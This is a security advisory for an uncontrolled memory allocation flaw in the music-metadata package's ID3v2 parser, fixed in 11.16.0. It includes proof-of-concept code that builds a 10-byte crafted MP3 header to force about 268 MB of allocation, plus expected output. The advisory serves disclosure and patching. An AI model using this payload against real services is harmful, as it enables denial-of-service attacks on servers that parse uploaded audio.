| Package | Affected versions | Patched versions |
|---|---|---|
| music-metadata | < 11.16.0 | 11.16.0 |
| music-metadata | < 11.16.0 | 11.16.0 |
The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.
Vulnerable Code Path:
lib/id3v2/ID3v2Token.ts:108 - Syncsafe size read without validationlib/id3v2/ID3v2Parser.ts:122 - Full tag body allocated before readinglib/id3v2/AbstractID3Parser.ts:22 - Allocation happens before stream validationRoot Cause:
The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:
// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly
// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded
Attack Mechanism:
EndOfStreamError is caught internally and silently handledAffected Parsers: MP3 (primary), FLAC, DSF, Musepack
Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)
Complete reproduction steps:
import { parseBuffer } from 'music-metadata';
// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, // "ID3" identifier
0x04, 0x00, // Version 2.4.0
0x00, // Flags (no unsync, no extended header, etc)
0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)
// File ends here - truncated
]);
console.log('Input file size:', maliciousFile.byteLength, 'bytes');
try {
const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
console.log('✓ Parse succeeded (no error thrown)');
console.log('✓ Metadata returned:', metadata);
console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
console.error('✗ Unexpected error:', error.message);
}
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeTo demonstrate memory impact:
Run with node --expose-gc to monitor allocations:
// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
0x7f, 0x7f, 0x7f, 0x7f
]);
// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();
console.log('Memory before:', {
heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});
const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;
const after = process.memoryUsage();
console.log('Memory after:', {
heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});
console.log('Parse time:', duration.toFixed(2) + ' ms');
console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');
Expected output:
Input file size: 10 bytes
✓ Parse succeeded (no error thrown)
✓ Metadata returned: { format: {}, common: {}, native: {} }
⚠️ ~268 MB was allocated despite only 10 bytes of input
Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' }
Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' }
externalDelta: 256.00 MB
Parse time: 15.23 ms
Result: ⚠️ LARGE ALLOCATION
Vulnerability Type: Uncontrolled Memory Allocation / Denial of Service (CWE-789)
Attack Vector: Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files
Who is Impacted:
Real-World Exploitation:
Single Attacker, Multiple Files:
Distributed Attack:
Slow Leak:
Cost Impact: